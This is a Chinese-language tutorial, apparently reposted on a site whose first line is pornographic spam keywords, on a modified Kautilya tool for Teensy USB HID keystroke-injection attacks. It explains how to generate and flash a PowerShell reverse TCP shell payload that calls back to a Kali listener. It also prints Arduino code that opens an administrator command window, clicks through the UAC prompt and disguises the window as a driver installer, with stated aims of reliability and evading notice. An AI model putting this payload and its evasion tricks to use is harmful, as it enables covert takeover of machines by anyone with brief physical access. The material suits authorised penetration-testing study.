av激情亚洲男人的天堂国语,日韩欧美精品一中文字幕,无码av一区二区三区无码,国产又色又爽又刺激的a片,国产又色又爽又刺激的a片

TeensyHID攻擊工具Kautilya的改進(jìn)與穩(wěn)定利用分析

0×00 前言

HID 即 Human Interface Devices 人機(jī)接口設(shè)備。HID攻擊意味著模擬 HID 設(shè)備與主機(jī)通訊的攻擊行為。最常見(jiàn)的攻擊形式是模擬成USB HID設(shè)備如USB鍵盤(pán)。

最近玩燒鵝的時(shí)候翻了不少資料, HID Hacking 的文章中提到的相關(guān) payload 工具主要是 S.E.T 和 Kautilya 兩個(gè)。摸索一番之后對(duì) Kautilya 作了一些小的改進(jìn),F(xiàn)ork 后的代碼在 https://github.com/harnnless/Kautilya 。先上演示:

修改過(guò)的 Kautilya 主要針對(duì) Windows Payload 有以下修改:

1 適應(yīng)中文系統(tǒng)。 可以選擇自動(dòng)打開(kāi)大寫(xiě)鎖定鍵,同時(shí)生成的代碼中要鍵入的內(nèi)容已自動(dòng)反轉(zhuǎn)大小寫(xiě)。所以實(shí)際輸入的大小寫(xiě)仍與預(yù)期一致??催^(guò)上面的演示可以注意到 Win10 默認(rèn)中文五筆輸入沒(méi)有影響。

2 提高穩(wěn)定性及利用速度。修改了幾個(gè)關(guān)鍵函數(shù),刪除不必要的延時(shí),同時(shí)在打開(kāi)命令行窗口時(shí)更有效容錯(cuò)。兼顧了速度和穩(wěn)定性。演示視頻中第一遍啟動(dòng)管理員權(quán)限命令行窗口失敗,腳本能檢測(cè)到并再次啟動(dòng)命令行窗口,而不是盲目地進(jìn)行后續(xù) Payload 輸入。(注意:視頻中 UAC 提示窗口沒(méi)有錄到)

0×01 HID攻擊原理簡(jiǎn)述

HID 即 Human Interface Devices人機(jī)接口設(shè)備。HID攻擊意味著模擬 HID 設(shè)備與主機(jī)通訊的攻擊行為。最常見(jiàn)的攻擊形式是模擬成USB HID設(shè)備如USB鍵盤(pán)。

常見(jiàn)的USB HID 攻擊硬件有 Teensy(及兼容Teensy的國(guó)產(chǎn)燒鵝)、Arduino Leonardo、USB Rubber Ducky 等。都是通過(guò)集成的USB控制芯片模擬成USB鍵盤(pán)\鼠標(biāo),并按照事先編程好的順序發(fā)送按鍵,達(dá)到攻擊的目的。如下圖是 USB Rubber Ducky

本文的代碼適用于 Teensy 2 ++ 及國(guó)產(chǎn)燒鵝,使用了 AT90USB1286 芯片,可以使用 Teensyduino 編寫(xiě)代碼。

0×02 軟硬件準(zhǔn)備

硬件

Radiowar 出品的燒鵝1.0\1.5\2.0任意版本一個(gè);或者 Teensy2++ 一個(gè)。如下圖是燒鵝2.0,沒(méi)有安裝外殼。(視頻中使用的是金士頓DT101 U盤(pán)外殼)

軟件

演示用的燒鵝支持使用 Teensyduino 軟件編寫(xiě)代碼并燒錄到芯片中。Teensyduino 依賴(lài)于 arduino。由于演示的是 Windows 下的攻擊,以下軟件安裝安裝配置等都以 Windows 平臺(tái)為例。

Arduino & Teensyduino

1 首先安裝 Arduino。從官方這個(gè)頁(yè)面 下載 1.0.6 版,根據(jù)操作系統(tǒng)架構(gòu)下載32位或64位。可以直接下載 Zip 版解壓到D盤(pán)。

2 下載 安裝 Teensyduino 1.27 版。安裝過(guò)程中提示選擇正確的 arduino 目錄之后才能繼續(xù)。如果僅需要測(cè)試本文的 HID 攻擊,可以選擇None不安裝任何其它組件。

Kautilya

本文的主角 Kautilya 是專(zhuān)用于生成 Teensy USB HID 攻擊載荷的開(kāi)源工具。由 Nikhil SamratAshok Mittal 于2011年底發(fā)布在code.google.com,后來(lái)遷移至 Github。

1 Kautilya 使用 Ruby 編寫(xiě),因此需要先安裝 Ruby 運(yùn)行環(huán)境。到這里下載安裝 1.9.3 版(由于對(duì) Win32Console 的依賴(lài),不要安裝2.0或以上版本)。

2 下載我修改過(guò)的 Kautilya zip 包,解壓到D盤(pán)。

3 找到并打開(kāi)程序中的 Start Command Prompt with Ruby, 進(jìn)入 Kautilya 目錄安裝 Ruby 依賴(lài):

 
 
 
 
  1. cd /d d:\Kautilya  
  2. set httphttp_proxy=http://127.0.0.1:1080  // 可能需要使用代理翻墻才能正確安裝gems哦  
  3. gem install highline -v 1.6.21  
  4. gem install artii -v 2.0.4  
  5. gem install colored -v 1.2  
  6. gem install win32console -v 1.3.2   // 僅 Windows 下需要  
  7. ruby kautilya.rb   // 運(yùn)行 

0×03 生成與測(cè)試

用 Kautilya 生成攻擊載荷

1 接下來(lái)演示的攻擊載荷是 Kautilya 作者發(fā)布的 Powershell 反向TCP shell。Freebuf 曾發(fā)過(guò)翻譯后的文章,請(qǐng)參考一周PowerShell腳本Day 1:TCP交互式PowerShell腳本。要測(cè)試請(qǐng)先按這篇文章在 Kali 中用 nc -lvp 端口號(hào) 監(jiān)聽(tīng),或者用 Powercat 監(jiān)聽(tīng)。

2 參照視頻中的步驟,打開(kāi) Start Command Prompt with Ruby 運(yùn)行 Kautilya ,然后選擇 1. Payload for Windows -> 2. CapsLock On -> 2. Execute -> 7. Reverse TCP Shell

3 提示輸入 IP 地址時(shí)輸入 Kali 的IP或運(yùn)行 Powercat 的IP。我在視頻中是用VirtualBox運(yùn)行了一個(gè)Kali虛擬機(jī),網(wǎng)絡(luò)設(shè)置為 Host Only,IP為192.168.56.101。

4 提示輸入端口,與監(jiān)聽(tīng)的端口保持一致

5 選擇 2,硬件是 Teensy2。然后在 output 下生成了 reverse_tcp.ino。

編譯并寫(xiě)入

1 啟動(dòng)之前安裝的 arduino,選擇 File -> Open … 打開(kāi) Kautilya 下 output 目錄中的 reverse_tcp.ino。程序會(huì)提示需要?jiǎng)?chuàng)建一個(gè)同名的文件夾,點(diǎn)OK

2 按工具欄的第一個(gè)圖標(biāo)Verify,校驗(yàn)并編譯。如果沒(méi)有錯(cuò)誤,會(huì)彈出TeensyLoader的小窗口

3 按住燒鵝電路板上的按鈕不放再插入U(xiǎn)SB口,然后松開(kāi)按鈕(這樣可以避免執(zhí)行已寫(xiě)入的程序),剛編譯的程序就自動(dòng)寫(xiě)入,并且也自動(dòng)重啟開(kāi)始執(zhí)行了

4 觀察Payload 執(zhí)行是否成功

0×04 Payload 代碼詳細(xì)分析

Payload 的主體代碼經(jīng)過(guò)細(xì)微修改,精簡(jiǎn)如下:

上面值得注意的有兩個(gè)地方:

1 wait_for_drivers 函數(shù)。作用是 Teensy 插入電腦之后,能主動(dòng)判斷 HID 能正常發(fā)送按鍵,然后再進(jìn)行后續(xù)操作??梢苑乐乖诓煌碾娔X上安裝驅(qū)動(dòng)的耗時(shí)會(huì)相差較大,尤其某些時(shí)候系統(tǒng)會(huì)通過(guò) Windows Update 查找驅(qū)動(dòng),單純添加一個(gè)較長(zhǎng)的延時(shí)時(shí)間既不可靠也容易被捉…

2 while(!cmd_admin())。 cmd_admin 函數(shù)能判斷是否打開(kāi)了命令行窗口,并確實(shí)能輸入正確的字符。也就是說(shuō)能確保后面的 payload 能正確輸入。

以上兩個(gè)功能函數(shù)是如何實(shí)現(xiàn)的呢?接著看一下后面自定義函數(shù)代碼節(jié)選。

關(guān)鍵一,判斷LED狀態(tài)

 
 
 
 
  1. int ledkeys(void) {return int(keyboard_leds);}    // 返回指定的LED狀態(tài)  
  2. bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;}    //大寫(xiě)鎖定是否打開(kāi)  
  3. void wait_for_drivers(int sleep){  
  4.   bool CapsLockTrap = is_caps_on();  
  5.   // 直到大寫(xiě)鎖定發(fā)生改變,才確認(rèn)驅(qū)動(dòng)已加載完畢,可以執(zhí)行 payload 輸入了  
  6.   while(CapsLockTrap == is_caps_on()){      
  7.     Keyboard.set_key1(KEY_CAPS_LOCK);  
  8.     Keyboard.send_now();  
  9.     unpresskey();  
  10.     delay(sleep);  
  11.   }  

上面代碼中最關(guān)鍵的是前兩行,is_caps_on實(shí)現(xiàn)了判斷當(dāng)前大寫(xiě)鎖定狀態(tài)的功能。注意,這里的功能實(shí)現(xiàn)在Teensy2下必須有頂部的 #include,并且最好在 arduino IDE 1.0.x 下編譯。

然后 wait_for_drivers 函數(shù)通過(guò)檢查發(fā)送 CAPSLOCK 鍵之后大寫(xiě)鎖定狀態(tài)有沒(méi)有變化,來(lái)判斷是否設(shè)備的驅(qū)動(dòng)已加載完畢。如果按鍵后大寫(xiě)鎖定燈沒(méi)改變狀態(tài),那肯定是鍵盤(pán)驅(qū)動(dòng)還沒(méi)有加載完成,繼續(xù)延時(shí)等待。

也可以檢測(cè) NumLock 或 ScrollLock,keyboard_leds 的值不一樣,分別是1和4。具體可以看 Offensive Security 的公開(kāi)代碼 https://github.com/offensive-security/hid-backdoor-peensy 。

關(guān)鍵二,判斷CMD窗口打開(kāi)及輸入是否正確

 
 
 
 
  1. // 這個(gè)函數(shù)做了較大修改,有興趣可以生成一個(gè)CapsLock Off 的腳本對(duì)照看一下  
  2. // 修改后的函數(shù)能兼容速度不一的電腦,不需要固定成最大的延時(shí)。慢的系統(tǒng)下會(huì)重試1到多次之后打開(kāi)命令行窗口  
  3. bool cmd_admin(int reps, int millisecs){    // 打開(kāi)管理員權(quán)限命令行窗口  
  4.   make_sure_capslock_is_on();    // 確認(rèn)大寫(xiě)鎖定打開(kāi)  
  5.   unsigned int i = 0;  
  6.   do{  
  7.     Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);    // 按 Win 鍵  
  8.     Keyboard.send_now();  
  9.     unpresskey();  
  10.     delay(400 + i * millisecs);  
  11.     // 輸入 CMD 命令,參數(shù)用于盡量隱藏窗口  
  12.     Keyboard.print("CMD /t:01 /k \"@ECHO OFF && MODE CON:cols=15 lines=1 && TITLE iNSTALLING dRIVERS\"");  
  13.     delay(800 + i * millisecs);  
  14.     Keyboard.set_modifier(MODIFIERKEY_CTRL);    // Ctrl+Shift+Enter 用管理員權(quán)限打開(kāi)  
  15.     Keyboard.send_now();  
  16.     Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);  
  17.     Keyboard.send_now();  
  18.     Keyboard.set_key1(KEY_ENTER);  
  19.     Keyboard.send_now();  
  20.     unpresskey();  
  21.     delay(1000 + i * millisecs);  
  22.     send_left_enter();    // 按左方向鍵,再回車(chē),確認(rèn) UAC 提示框  
  23.     delay(800 + i * millisecs);  
  24.     create_click_capslock_win();    // 輸入并運(yùn)行一個(gè)更改大寫(xiě)狀態(tài)的VBS  
  25.     if (check_for_capslock_success_teensy(i+3,millisecs)){ return true;}    // 如果大寫(xiě)狀態(tài)未改變,再試  
  26.     i++;  
  27.   }  
  28.   while (i 

判斷CMD窗口打開(kāi)及輸入是否正確的代碼同樣用到了檢測(cè)大寫(xiě)鎖定狀態(tài)。實(shí)現(xiàn)方法是輸入并執(zhí)行一個(gè)簡(jiǎn)單VBS腳本發(fā)送CAPSLOCK鍵,然后判斷執(zhí)行后大寫(xiě)鎖定狀態(tài)。如果狀態(tài)改變就證明 CMD 窗口正確打開(kāi),并且能正確輸入 payload 了。create_click_capslock_win() 寫(xiě)入并執(zhí)行 VBS,check_for_capslock_success_teensy(reps,millisecs) 進(jìn)行檢測(cè)。

上面給出的代碼沒(méi)有選擇 cmd 函數(shù),而是 cmd_admin 函數(shù),展示了使用 Ctrl+Shift+Enter 加 左方向鍵再Enter 在 UAC 啟用環(huán)境下直接打開(kāi)管理員權(quán)限命令行窗口的技巧。 Kautilya 多數(shù) Windows Payload 都會(huì)用cmd_admin。如果目標(biāo)是 XP 并且用戶是管理員則可以改用 cmd,不需要 Ctrl+Shift+Enter 等。

0×05 小提示

與直覺(jué)不同,鍵盤(pán)不是僅發(fā)送按鍵,而是有雙向通訊的。很早前的AT鍵盤(pán)規(guī)范確定了如CapsLock/NumLock等燈的狀態(tài)是由系統(tǒng)發(fā)送信息,鍵盤(pán)才開(kāi)關(guān)燈的狀態(tài),與是否發(fā)送相關(guān)按鍵無(wú)關(guān)。

檢測(cè) LED狀態(tài)用于HID攻擊的方法最早于2012年發(fā)表在 https://www.offensive-security.com/offsec/advanced-teensy-penetration-testing-payloads/ ,后來(lái)被整合進(jìn) S.E.T 及 Kautilya 中。

Offensive Security 的 Peensy 公開(kāi)代碼 https://github.com/offensive-security/hid-backdoor-peensy 。其中還包含了直接讀取 Teensy 的SD卡文件的方法,檢測(cè)目標(biāo)系統(tǒng)的架構(gòu)以部署相同架構(gòu)的MSF Payload等。值得進(jìn)一步了解。

0×06 參考:

[1] http://www.labofapenetrationtester.com/search/label/Kautilya

[2] https://www.offensive-security.com/offsec/advanced-teensy-penetration-testing-payloads/


當(dāng)前文章:TeensyHID攻擊工具Kautilya的改進(jìn)與穩(wěn)定利用分析
網(wǎng)站網(wǎng)址:http://uogjgqi.cn/article/dhopcoo.html
掃二維碼與項(xiàng)目經(jīng)理溝通

我們?cè)谖⑿派?4小時(shí)期待你的聲音

解答本文疑問(wèn)/技術(shù)咨詢(xún)/運(yùn)營(yíng)咨詢(xún)/技術(shù)建議/互聯(lián)網(wǎng)交流